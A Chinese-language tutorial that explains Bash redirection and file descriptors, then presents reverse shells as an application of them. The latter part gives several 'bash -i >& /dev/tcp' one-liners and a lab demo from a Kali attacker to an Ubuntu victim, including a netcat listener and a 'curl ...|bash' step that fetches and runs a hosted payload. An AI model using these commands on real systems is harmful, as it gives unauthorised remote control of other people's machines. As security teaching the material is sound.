重定向
文件描述符
关于文件描述符,就是当我们打开一个文件时,系统会使用文件描述符去定义我们的输入和输出,以及错误输出。
当Linux启动的时候会默认打开三个文件描述符,分别是:
1 | 标准输入:standard input 代码是0 (默认设备键盘) 使用<或 << |
注意事项
- bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向
- 如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,如果改变顺序就可能带来完全不同的结果
- < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向
> 与 >>
可以看到重定向有> 和 >>这两种。他们的区别是什么呢
>
:以覆盖的方式将数据输出到指定的文件或设备,如果没有文件会创建文件
>>
:以累加的方法将数据输出到指定的文件或设备,如果无指定文件会自行创建指定文件。
< 和 <<
的效果和上面是相同的,都是覆盖和累加的区别。
多个命令写入同一文件
1 | ls >/txt 2>/txt (错误) |
多命令同一命令,很正常就想到第一种写法,把标准正确输出写入根目录下的txt文件,再把错误输出写入根目录下的txt文件,但是这种写法由于两条数据同时写入同一文件,又没使用特殊语法,此时两条语句可能会交叉写入该文件内,造成次序混乱。最后情况就是txt文件创建并写入了数据,但是数据很奇怪。
关于命令2,3
是文件表示符的复制,将文件描述符2复制到1;两者的区别是,2是以只写的形式打开,3是以读的形式打开,怎样打开无所谓,所以这两个命令完全相同。
&
& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
关于命令4,5
将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1
exec绑定重定向
每一次要输入命令都要打一次重定向也太麻烦了吧,所以我们可以用exec命令将我们的重定向保存下来。
格式:exec n<>txt
以读写方式打开txt(指代的文件),并将n重定向到该文件。如果n不指定的话,默认为标准输入(0)。
反弹shell的本质
在我看来反弹shell的本质就是重定向,通过重定向将我们的输出作为被攻击者的命令,再把得到的内容反弹到我们的主机上,实现远程控制被攻击者的主机。
交互式shell
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2)-i 这个参数表示的是产生交互式的shell
dev/tcp/ip /端口
/dev/tcp|udp/ip/端口 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
常见的反弹shell命令
1 | bash -i>& /dev/tcp/ip/端口 0>&1 |
这里的唯一区别就是 0>&1 和 0<&1,也就是我上面说的多命令写入同一文件里的2和3
1 | bash -i >& /dev/tcp/ip/端口 <&2 |
测试
攻击者:kali
被攻击者:ubuntu
首先攻击者查看自己的ip地址
1 | ifconfig |
得到ip地址192.168.57.130
然后监听自己的端口就可以了。
1 | nc -lvp 4444 |
然后在被攻击者的命令行写入
1 | bash -i >& /dev/tcp/192.168.57.130/4444 0<&2 (ip地址为攻击者的ip地址,端口就是我们监听的端口) |
就行了,可以看到我们在kali的命令行中的终端名称已经变成了ubuntu的名称了。
curl反弹shell
进入kali(攻击者),的var/www/html目录下创建1.txt 写入
1 | bash -i >& /dev/tcp/192.168.57.130/4444 0<&2 (ip地址为攻击者的ip地址,端口就是我们监听的端口) |
然后开启apache服务器
kali下开启apache
1 | /etc/init.d/apache2 start |
然后监听自己的4444端口就可以了
1 | nc -lvp 4444 |
然后在被攻击者的终端输入
1 | curl http://192.168.57.130/1.txt|bash |
成功反弹shell